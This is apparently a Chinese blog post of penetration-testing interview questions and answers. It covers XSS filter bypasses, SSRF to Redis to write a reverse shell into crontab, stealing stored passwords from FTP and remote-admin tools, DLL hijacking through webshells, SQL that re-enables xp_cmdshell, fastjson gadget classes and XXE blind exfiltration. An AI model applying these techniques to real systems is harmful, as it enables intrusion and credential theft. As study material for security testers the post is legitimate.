  2、片段识别符(URL 后加#号)

  3、window.name

  4、跨文档通信 API

  5、JSONP

  6、CORS

  7、WebSockets

4-jsonp 跨域利用:获取 JSON 数据并编码发送到远程服务器

59-XSS弹窗函数和常见的XSS绕过策略

alert,confirm,prompt 三种函数

绕过策略:

1.大小写混合

2.双写

3.编码

4.fuzz 低频使用标签 <details/open/ontoggle>

5.fuzz 低频使用函数 ontoggle 等

6.<img/src=1>

7.%0a 或者%0d 绕过

60-SSRF利用Redis写shell

1.SSRF 服务端请求伪造

  一、对内网扫描,获取 banner

  二、攻击运行在内网的应用,主要是使用 GET 参数就可以实现的攻击(比如Struts2,sqli 等)

  三、利用协议读取本地文件

  四、云计算环境 AWS Google Cloud 环境可以调用内网操作 ECS 的 API

2.如 webligic SSRF 漏洞

  通过 SSRF 的 gopher 协议操作内网的 redis,利用 redis 将反弹 shell 写入crontab 定时任务,url 编码,将\r 字符串替换成%0d%0a

61-登录页面可能存在的漏洞

62-描述一下第三方应用软件提权方法

1、Serv-u 安全性测试(分为有配置文件有修改权限与 servUDaemon.exe 默认管理员帐号和密码没修改进行提权)

2、FlashFXP 安全性测试(攻击者只需通过 webshell 下载 quick.dat、

sites.dat、stats.dat这三个文件进行本地替换,就可以用星号查看器直接查看连接密码)

3、Gene6 FTP 安全性测试(Gene6 FTP 默认安装路径是 C:\Program Files\Gene6 FTP Server\RemoteAdmin\Remote.ini 其中 Remote.ini 是主配置文件,管理员登录的 ip、端口和密码都存储在这。但 Gene6 管理员帐号只充许本地登录。 对于渗透测试人员来讲只需要通过 Webshell 转发端口就可以进行远程连接)

4、PcanyWhere 安全性测试(找到pcanywhere 安装目录下面的*.CIF 直接用工具破解密码就行)

5、VNC安全性测试(通过脚本大马读取 VNC 连接密码:

HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password) 6、Radmin 安全性测试(导出注册表 hash,用 Radmin 的 hash 版连接就行)

7、Zend 安全性测试(攻击者只需要通过 webshell对原 ZendExtensionManager.dll重命名,并通过工具重新生成一个来木马 ZendExtensionManager.dll 让 apche 重启加载。服务器就会被控制)

8、启动项安全性测试

9、服务替换安全性测试

10、Dll 劫持安全性测试(直接用Tools lpk sethc v4.0 生成 dll马通过 webshell上传到杀毒软件,输入法等管理员常运行exe软件目录,等着dll 劫持)

11、Perl安全性测试(低版本可以直接执行系统命令)

63-xpcmdshell禁用了有什么方法提权

可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的步骤可参考:

用查询分析器,依次执行下面的语句,就可以了。

USE master
EXEC sp_configure 'show advanced options', 1
RECONFIGURE WITH OVERRIDE
EXEC sp_configure 'xp_cmdshell', 1
RECONFIGURE WITH OVERRIDE
EXEC sp_configure 'show advanced options', 0

就可以顺利的执行 CMDSHELL 了。

64-网站后台Getshell的方法

  1. webshell路径直接上传 
  2. 数据库备份getshell
  3. 修改网站上传类型配置拿webshell
  4. 执行sql语句写入webshell
  5. 通过数据库拿webshell
  6. 命令执行拿webshell
  7. phpmyadmin写sehll

65-fastjson不出网怎么利用

#目前公开已知的poc有两个: 

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl org.apache.tomcat.dbcp.dbcp2.BasicDataSource

#第一种利用方式需要一个特定的触发条件:

解析JSON的时候需要使用Feature才能触发,参考如下代码: 

JSONObject.parseObject(sb.toString(), new Feature[] {Feature.SupportNonPublicField});

#第二种利用方式: 则需要应用部署在Tomcat应用环境中,因为Tomcat应用环境自带tomcat-dbcp.jar 对于SpringBoot这种自带Tomcat可以直接以单个jar文件部署的需要在maven中配置tomcat- dbcp。

而且对于不同的Tomcat版本使用的poc也不同:

Tomcat 8.0以后使用 

org.apache.tomcat.dbcp.dbcp2.BasicDataSource• Tomcat 8.0以下使用 org.apache.tomcat.dbcp.dbcp.BasicDataSource

66.遇到XXE盲注如何处理

如果遇到XXE无回显注入的话,可以选择使用DNS外带和外部参数实体注入 

1- 在攻击者自己的公网服务器,准备一个test.dtd通过base64为将读取的内容加密得到的值当作传参值,发送给攻击者的公网服务器 

2-受害者那边,通过外部参数实体注入访问攻击者公网服务器下的test.dtd文件 3-最后看攻击者公网服务器的日志,转码得到受害者服务器的内容

 

欢迎打赏

 

posted @ 2024-03-21 22:45  3cH0_Nu1L  阅读(131)  评论(0编辑  收藏  举报